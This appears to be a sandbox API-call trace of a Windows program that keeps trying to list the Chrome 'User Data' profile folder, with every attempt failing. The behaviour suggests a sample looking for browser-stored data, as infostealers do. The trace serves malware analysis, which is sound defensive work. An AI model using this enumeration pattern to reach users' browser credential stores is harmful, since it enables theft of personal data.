[0052.746] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.746] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.746] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.746] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.746] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.746] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.746] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.746] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.746] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.746] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.746] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.746] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.746] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.747] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.747] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.747] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.747] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.747] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.747] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.747] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.747] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.747] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.747] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.747] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.747] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.747] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.747] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.747] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.747] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.747] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.747] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.748] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.748] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.748] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.748] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.748] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.748] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.748] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.748] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.748] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.748] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.748] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.748] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.748] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.748] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.748] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.748] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.748] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.748] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.749] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.749] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.749] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.749] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.749] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
[0052.749] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.749] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*") returned 64
